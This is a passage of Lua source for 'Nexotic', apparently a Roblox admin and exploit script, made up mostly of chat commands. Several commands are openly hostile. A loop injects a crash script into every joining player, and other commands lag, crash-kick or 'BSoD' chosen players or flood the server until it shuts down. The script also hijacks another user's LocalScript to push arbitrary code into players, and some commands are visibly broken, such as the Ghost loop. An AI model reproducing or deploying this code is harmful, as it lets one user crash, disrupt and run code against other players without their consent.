                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
                                                local cPos = tab.Position
                                                local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
                                                local nPos = (ePos-cPos)*.25
                                                cPos = cPos + nPos
                                                local t = (tick() - starttime) % 360
                                                local change = 0.625
                                                PlayerTablets[i].Size = math.sin(t) * change + 2.375
                                                tab.Size=Vector3.new(2.3, 2.3, 2.3)
                                                d=math.rad((rotat1*40*20)*math.pi);
                                                tab.CFrame=CFrame.new(cPos,pos.p)*CFrame.Angles(0.1,d,d)*CFrame.Angles(4,4,4);
                                        end)
                                end
                        end
                end)
        end
end)

Delay(0, function()
        while wait() do
                for _,v in pairs(game:GetService("Players"):GetPlayers()) do
                        ypcall(function()
                                if Injected[v.Name] == nil and LS ~= nil then
                                        NewLS(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
                                        Injected[v.Name] = true
                                end
                        end)
                end
        end
end)

Plrs.PlayerAdded:connect(function(Plr)
        wait(.1)
        ypcall(function()
                if Removed == false then
                        local JoinPlrName = Plr.Name
                        coroutine.resume(coroutine.create(function()
                                PlaceSpecificRank(Plr)
                        end))
                        coroutine.resume(coroutine.create(function()
                                if Injected[JoinPlrName] ~= nil then
                                        Injected[JoinPlrName] = nil
                                end
                        end))
                        coroutine.resume(coroutine.create(function()
                                Dismiss(Plr)
                                Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
                        end))
                end
        end)
end)

Plrs.PlayerRemoving:connect(function(Plr)
        wait(.1)
        ypcall(function()
                if Removed == false then
                        local LeftPlrName = Plr.Name
                        coroutine.resume(coroutine.create(function()
                                if Injected[LeftPlrName] ~= nil then
                                        Injected[LeftPlrName] = nil
                                end
                        end))
                end
        end)
end)

coroutine.resume(coroutine.create(function()
        Delay(0, function()
                while FoundLocalScript == false do wait()
                        ypcall(function()
                                for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
                                        if v.Name == "NewTransfer" and v:IsA("LocalScript") then
                                                for _,c in pairs(v:children()) do
                                                        if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
                                                                local NewVal = c:Clone()
                                                                NewVal.Name = "LoadingVal"
                                                                for _,s in pairs(v:GetChildren()) do
                                                                        if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
                                                                                print("Found Owner")
                                                                                OwnSource = s.Name
                                                                                print(OwnSource)
                                                                                break
                                                                        end
                                                                end
                                                                wait()
                                                                LS = v:Clone()
                                                                NewVal.Parent = LS
                                                                LSSource = "LoadingVal"
                                                                FoundLocalScript = true
                                                                break
                                                        end
                                                end
                                        end
                                end
                        end)
                end
        end)
end))

--Commands

Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
        Dismiss(Speaker.Name)
        Ping("By: " .. string.reverse("voTi dna ,suerypmEcidicA"), Speaker)
        Ping("Your rank is: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
        Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
        Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
        Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
        Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
        Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
        Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
        Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
end)

Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
        Dismiss(Speaker.Name)
end)

Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character:BreakJoints()
                                Ping("Killed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                if v.Name ~= Owner then
                                        NewLS(MuteSource, v.Backpack, v.Character, v.PlayerGui)
                                        Ping("Muted "..v.Name, Speaker, 5)
                                end
                        end)
                end
        end
end)

Command("Resize", 2,"resize", function(Msg,Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                local Split = GetSplit(Msg)
                local Players = GetPlayers(Msg:sub(1,Split-1),Speaker)
                local Size = tonumber(Msg:sub(Split+1))
                for _,v in pairs(Players) do
                        local Joints = {}
                        local function ScaleParts(Mod,Factor)
                                for i,v in pairs(Mod:GetChildren()) do
                                        if v:IsA("Shirt") or v:IsA("Pants") or v:IsA("ShirtGraphic") then
                                                v:Destroy()
                                        end
                                        if v.ClassName == "CharacterMesh" then
                                                bodyp = v.BodyPart
                                                if bodyp == Enum.BodyPart.LeftArm then
                                                        nmesh = Instance.new("SpecialMesh",v.Parent["Left Arm"])
                                                elseif bodyp == Enum.BodyPart.LeftLeg then
                                                        nmesh = Instance.new("SpecialMesh",v.Parent["Left Leg"])
                                                elseif bodyp == Enum.BodyPart.RightArm then
                                                        nmesh = Instance.new("SpecialMesh",v.Parent["Right Arm"])
                                                elseif bodyp == Enum.BodyPart.RightLeg then
                                                        nmesh = Instance.new("SpecialMesh",v.Parent["Right Leg"])
                                                elseif bodyp == Enum.BodyPart.Torso then
                                                        nmesh = Instance.new("SpecialMesh",v.Parent["Torso"])
                                                end
                                                nmesh.MeshType = "FileMesh"
                                                nmesh.MeshId = "http://www.roblox.com/Asset/?id="..v.MeshId
                                                nmesh.TextureId = "http://www.roblox.com/Asset/?id="..v.OverlayTextureId
                                                v:Destroy()
                                        end
                                end
                                for i,v in pairs(Mod:GetChildren()) do
                                        if v:IsA("BasePart") then
                                                local MeshFound = nil
                                                for i2,v2 in pairs(v:GetChildren()) do
                                                        if v2:IsA("DataModelMesh") then
                                                                MeshFound = v2
                                                        end
                                                        if v2:IsA("DataModelMesh") and v2.ClassName ~= "BlockMesh" and v2.ClassName ~= "CylinderMesh" and (v2.MeshType == Enum.MeshType.FileMesh or v2.MeshType == Enum.MeshType.Sphere or v2.MeshType == Enum.MeshType.Cylinder or v2.MeshType == Enum.MeshType.Wedge) then
                                                                v2.Scale = v2.Scale * Factor
                                                                MeshFound = v2
                                                        end
                                                end
                                                if MeshFound == nil then
                                                        Instance.new("BlockMesh",v)
                                                end
                                                v.FormFactor = "Custom"
                                                local CFR = (v.CFrame-(v.CFrame.p)) + (v.CFrame.p * Factor)
                                                v.Size = v.Size*Factor
                                        end
                                        ScaleParts(v,Factor)
                                end
                        end
                        local function ScaleJoints(Mod,Factor)
                                for i,v in pairs(Mod:GetChildren()) do
                                        if v:IsA("JointInstance") then
                                                table.insert(Joints,{v,v.Part0,v.Part1})
                                                v.Part0 = nil
                                                v.Part1 = nil
                                                v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * Factor)
                                                v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * Factor)
                                        end
                                        ScaleJoints(v,Factor)
                                end
                        end
                        local function ReconnectJoints()
                                for i,v in pairs(Joints) do
                                        v[1].Part0 = v[2]
                                        v[1].Part1 = v[3]
                                end
                                Joints = {}
                        end
                        local function ScaleModel(Mod,Factor)
                                ScaleJoints(Mod,Factor)
                                ScaleParts(Mod,Factor)
                                ReconnectJoints()
                                pcall(function() Mod:MakeJoints() end)
                        end
                        ScaleModel(v.Character,Size)
                end
        end
end)

Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                game:service'TeleportService':Teleport(game.PlaceId,v.Character)
                                Ping("Rejoined "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(JailSource, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Mind Jailed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Clear", 4, "Clears everything besides terrain", function(Msg, Speaker)
        for i,v in pairs(workspace:children()) do
                local IsChar = false
                pcall(function()
                        for j,k in pairs(game:service'NetworkServer':children()) do
                                if pcall(function() k:GetPlayer() end) then
                                        if v.Name == k:GetPlayer().Name then
                                                IsChar = true
                                                end
                                        end
                                end
                        end)
                        if IsChar == false then
                                if v.Name ~= "Terrain" then
                                        if v.ClassName ~= 'Script' then
                                                pcall(function() v:remove() end)
                                        end
                                end
                        else
                                pcall(function()
                                        for j,k in pairs(v:children()) do
                                                if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
                                                        if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
                                                                k:Destroy()
                                                        end
                                                end
                                        end
                                end)
                        end
                end
                CreateBase()
        end
)

Command("Reset", 4, "Respawns a player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v:LoadCharacter()
                                Ping("Reset "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Lag", 4, "Lags a Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Lag, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Lagged "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("BSoD", 4, "Bsod a Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(BSoD, v.Backpack, v.Character, v.PlayerGui)
                                Ping("BSoDed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Nilsupport", 4, "Gives Nil Support", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(NilSupport, v.Backpack)
                                Ping("Connected "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Darkhorse", 4, "Gives player darkhorse", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(DarkHorse, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Spawned a Darkhorse", Speaker, 5)
                        end)
                end
        end
end)

Command("Pad", 4, "Gives a player a Pad", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Pad, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("Glider", 4, "Gives a player a Glider", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Glider, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("Bow", 4, "Gives a player a RagDoll Bow", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Bow, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("Fairy", 4, "Makes a player a fairy", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Fairy, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("GhostSword", 4, "Gives a player a GhostSword", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(GhostSword, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("Leafblower", 4, "Gives a player a Leafblower", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(LeafBlower, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("Pistol", 4, "Gives a player a pistol", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Pistol, v.Backpack, v.Character, v.PlayerGui)
                        end)
                end
        end
end)

Command("ProbeM", 4, "Probes someone", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Probe, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Probed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("B0ob", 4, "B0obs a Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(B0ob, v.Backpack, v.Character, v.PlayerGui)
                                Ping("B0obed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Doge", 4, "Doges a Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Doge, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Doges "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Mini", 4, "Player Becomes Mini", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(Mini, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Minied "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                                Ping("UnMuted "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
        local Worked = false
        for _,v in pairs(Work:GetChildren()) do
                if string.find(v.Name:lower(), Msg:lower()) then
                        if v:IsA("Script") or v:IsA("LocalScript") then
                                v.Disabled = true
                                v:Destroy()
                                Worked = true
                                Ping("Disabled Script: "..v.Name, Speaker, 5)
                        end
                end
        end
        if Worked == false then
                Ping("Script Not Found", Speaker, 5)
        end
end)

Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
        Dismiss(Speaker)
        local AllScripts = {}
        for _,v in pairs(Work:GetChildren()) do
                if v:IsA("Script") then
                        table.insert(AllScripts, v.Name)
                end
        end
        if #AllScripts > 0 then
                for _,v in pairs(AllScripts) do
                        Ping(v, Speaker)
                end
        else
                Ping("No Scripts Found", Speaker, 5)
        end
end)

Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
        Dismiss(Speaker)
        local LocalScripts = {}
        for _,v in pairs(All()) do
                ypcall(function()
                        for _,x in pairs(v.Character:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
                ypcall(function()
                        for _,x in pairs(v.Backpack:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
                ypcall(function()
                        for _,x in pairs(v.PlayerGui:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
        end
        if #LocalScripts > 0 then
                for _,v in pairs(LocalScripts) do
                        Ping(v, Speaker)
                end
        else
                Ping("No Local Scripts Found", Speaker, 5)
        end
end)

Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local ScriptName = Msg:sub(Split + 1)
        local FoundLocal = false
        for _,name in pairs(PlrTab) do
                ypcall(function()
                        for _,v in pairs(name.Character:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                ypcall(function()
                        for _,v in pairs(name.Backpack:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                ypcall(function()
                        for _,v in pairs(name.PlayerGui:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                if FoundLocal == false then
                        Ping("Local Script Not Found", Speaker, 5)
                end
        end
end)

Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
        LClean()
        Fixl()
        Ping("Lightly Cleaned the Server", Speaker, 5)
end)

Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v:LoadCharacter()
                                Ping("Reset "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
        repeat wait() until Speaker.Character:findFirstChild("Torso")
        if Work:findFirstChild("Base") then
                Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
        else
                Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
        end
        Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
end)

Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character.Torso.Anchored = true
                                Ping("Froze "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                for _,v2 in pairs(v.Character:GetChildren()) do
                                        ypcall(function()
                                                v.Anchored = false
                                        end)
                                end
                                Ping("Thawed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Instance.new("ForceField", v.Character)
                        end)
                end
        end
end)

Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                RemObj(v.Character, "ForceField")
                        end)
                end
        end
end)

Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
        if #PlrTab > 0 and #PlrTab2 > 0 then
                for i,v in pairs(PlrTab) do
                        ypcall(function()
                                for _,v2 in pairs(PlrTab2) do
                                        ypcall(function()
                                                v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
                                                Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
                                        end)
                                end
                        end)
                end
        end
end)

Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
        MakeExplorer(Speaker)
end)

Command("Info", 0, "Shows Information About Nexotic", function(Msg, Speaker)
        wait()
        Dismiss(Speaker)
        Ping("Admin Name: Nexotic", Speaker)
Ping("Nexotic, By: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
        Ping("Nexotic, By: LuaScripterLS", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=LuaScripterLS")
        Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
        Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
        Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
        Ping("Created on: 8/7/2014", Speaker)
        Ping("ShowGarbage", Speaker)
end)

Command("Credit", 0, "Shows Credits on Nexotic", function(Msg, Speaker)
        wait()
        Dismiss(Speaker)
        Ping("Created by: AcidicEmpyreus", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=AcidicEmpyreus")
        Ping("Created by: LuaScripterLS", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=LuaScripterLS")
        Ping("Credit To: MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
        Ping("Credit To: moderrncombat", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=moderrncombat")
        Ping("Credit To: flipflop8421", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=flipflop8421")
end)

Command("Ranked", 0, "Shows All Player Ranks", function(Msg, Speaker)
        Dismiss(Speaker)
        for i,v in pairs(All()) do
                Ping(v.Name.."'s Rank: "..FindRank(v))
        end
end)

Command("Speed", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Speed = tonumber(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.Character.Humanoid.WalkSpeed = Speed
                        Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
                end)
        end
end)

Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
        Dismiss(Speaker)
        for i,v in pairs(Injected) do
                Ping(i, Speaker)
        end
end)

Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
        local function BufferOverflow(object)
                object.DescendantAdded:connect(BufferOverflow)
                Instance.new("IntValue", object)
        end
        BufferOverflow(Game)
end)

Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Crash1(v)
                                Ping("Crash Kicked "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                ChangeRank(v, -1)
                        end)
                end
        end
end)

Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
        ypcall(function()
                local PlrTab = getPlayer(Speaker, Msg)
                if #PlrTab > 0 then
                        for _,v in pairs(PlrTab) do
                                ypcall(function()
                                        NewLS(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                                end)
                        end
                end
                local PlrName = ChangeRank(Msg, 0)
                Ping("Un-Banned "..PlrName, Speaker, 5)
        end)
end)

Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
        Dismiss(Speaker)
        Ping("Commands", Speaker, nil, function()
                Dismiss(Speaker.Name)
                Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
                Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
                Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
                Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
                Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
                Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
                Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
                Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
        end)
        Ping("Players", Speaker, nil, function()
                ListPlayers(Speaker)
        end)
end)

Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
        ListPlayers(Speaker)
end)

Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
        local Func,Error = loadstring(Msg)
        getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
        getfenv(Func).Speaker = Speaker
        if Error == nil then
                coroutine.wrap(function()
                        Func()
                end)()
                Ping("Executed Script!", Speaker, 5)
        else
                Ping(Error, Speaker, 10)
        end
end)

Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
        if LS ~= nil then
                local Split = GetSplit(Msg)
                local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
                local LocalSource = Msg:sub(Split + 1)
                if #PlrTab > 0 then
                        for _,v in pairs(PlrTab) do
                                local Inserted = LS:Clone()
                                Inserted.Disabled = true
                                Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
                                if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
                                        Inserted:findFirstChild(OwnSource).Value = v.Name
                                end
                                Inserted[LSSource].Value = LocalSource
                                Inserted.Disabled = false
                        end
                end
        else
                Ping("ERROR: Local Script Not Found", Speaker, 5)
        end
end)

Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
        Msg = tostring(Msg)
        Ping(Msg, Speaker)
end)

Command("Remv", 5, "Removes The Admin", function(Msg, Speaker)
        Dismiss()
        Removed = true
        for i,v in pairs(getfenv(1)) do
                getfenv(1)[i] = nil
        end
        script.Disabled = true
end)

Command("God", 1, "Makes a player immortal", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character.Humanoid.MaxHealth = math.huge
                                Ping("Godded "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Ungod", 1, "Makes a player mortal", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character.Humanoid.Health = 100
                                wait()
                                v.Character.Humanoid.MaxHealth = 100
                                Ping("Ungodded "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("FC", 3, "Fully Cleans The Server", function(Msg, Speaker)
        for _,v in pairs(game:GetChildren()) do
                ypcall(function()
                        if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
                                for _,a in pairs(v:GetChildren()) do
                                        ypcall(function()
                                                a:Destroy()
                                        end)
                                end
                        elseif v.Name == "Players" then
                                for _,plr in pairs(v:GetPlayers()) do
                                        Clear(plr)
                                end
                        end
                end)
        end
        Clean()
        Fixl()
        Ping("Fully Cleaned", Speaker, 5)
end)

Command("NoOrb",2,"Get rid of a players Gui oS ORB",function(Msg,Speaker)
        for i,v in pairs(getPlayer(Speaker,Msg)) do

        v.PlayerGui.Name='GuiPlayer'
        wait()
        v.GuiPlayer.Name='PlayerGui'
        v:LoadCharacter()
        Ping(v.Name.."'s GUI Orb destroyed",Speaker,5)
        end
end)

Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,c in pairs(PlrTab) do
                        ypcall(function()
                                for c, pairs in (v.Character:children()) do
                                        if c:IsA("Part") then
                                                c.Transparency = 0.5
                                        end
                                end
                                Ping("Turned "..v.Name.." into a ghost", Speaker, 5)
                        end)
                end
        end
end)

